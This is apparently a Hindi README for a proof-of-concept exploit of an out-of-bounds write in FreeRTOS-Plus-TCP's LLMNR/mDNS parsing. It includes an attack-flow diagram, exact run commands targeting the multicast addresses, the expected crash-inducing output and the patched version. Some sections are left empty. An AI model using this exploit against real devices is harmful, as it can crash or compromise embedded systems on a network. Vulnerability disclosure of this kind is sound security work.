
FreeRTOS-Plus-TCP में दूरस्थ मेमोरी क्षति / DoS / संभावित RCE ट्रिगर जब LLMNR या mDNS क्वेरी में अत्यधिक लंबे DNS नामों को संसाधित किया जाता है (बफर आवंटन योजना 1)।
एक्सप्लॉइट लेखक: Mohammed Idrees Banyamer
देश: जॉर्डन
इंस्टाग्राम: @banyamer_security
दिनांक: 26 दिसंबर, 2025
यह PoC एक विशेष रूप से तैयार किया गया UDP मल्टीकास्ट पैकेट भेजता है जिसमें अत्यधिक लंबा DNS नाम होता है, ताकि FreeRTOS-Plus-TCP के संवेदनशील संस्करणों (LLMNR/mDNS + स्कीम 1 के साथ v2.3.4 – v4.3.1) में आउट-ऑफ-बाउंड्स राइट (CWE-787) ट्रिगर किया जा सके।
प्रभावित डिवाइसों पर सामान्य लक्षण:
प्रभावित डिवाइस (उदाहरण)
इसमें ठीक किया गया: FreeRTOS-Plus-TCP 4.3.2 (कठोर लंबाई सत्यापन जोड़ा गया)
संदर्भ
graph TD
A[Attacker on same LAN] -->|"1. Craft oversized DNS name"| B["`UDP Packet
long QNAME (~500+ bytes)`"]
B -->|"2. Send to multicast"| C{Target Protocol}
C -->|LLMNR| D[224.0.0.252:5355]
C -->|mDNS| E[224.0.0.251:5353]
D --> F["`FreeRTOS-Plus-TCP
LLMNR/mDNS Parser`"]
E --> F
F -->|"No length check + Scheme 1"| G[Fixed-size buffer overflow]
G --> H["`Out-of-bounds Write
CWE-787`"]
H --> I{Outcome}
I -->|"Common"| J[Crash / Reboot / Watchdog]
I -->|"Memory layout dependent"| K[Potential RCE / Code Execution]
I -->|"Data after buffer"| L[Memory corruption / Info leak]
socket, sys) – कोई बाहरी पैकेज नहीं# LLMNR attack (default multicast)
python3 exploit.py LLMNR
# mDNS attack
python3 exploit.py mDNS
# Custom multicast IP (rarely needed)
python3 exploit.py LLMNR 224.0.0.252
python3 exploit.py mDNS 224.0.0.251
अपेक्षित आउटपुट:
[+] Sending 523-byte LLMNR query → target 224.0.0.252:5355
[+] Sent. Watch for immediate crash, reboot, LED blink loop, or freeze.
यह कोड केवल शैक्षिक, शोध, और भेद्यता प्रदर्शन उद्देश्यों के लिए प्रदान किया गया है।
मालिक से स्पष्ट लिखित अनुमति के बिना किसी भी सिस्टम या नेटवर्क के विरुद्ध इस एक्सप्लॉइट का उपयोग न करें।
अनधिकृत उपयोग कानूनों का उल्लंघन कर सकता है (कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम, आदि)।
लेखक किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
MIT लाइसेंस – LICENSE फ़ाइल देखें (या यदि अनुपस्थित है तो जोड़ें)।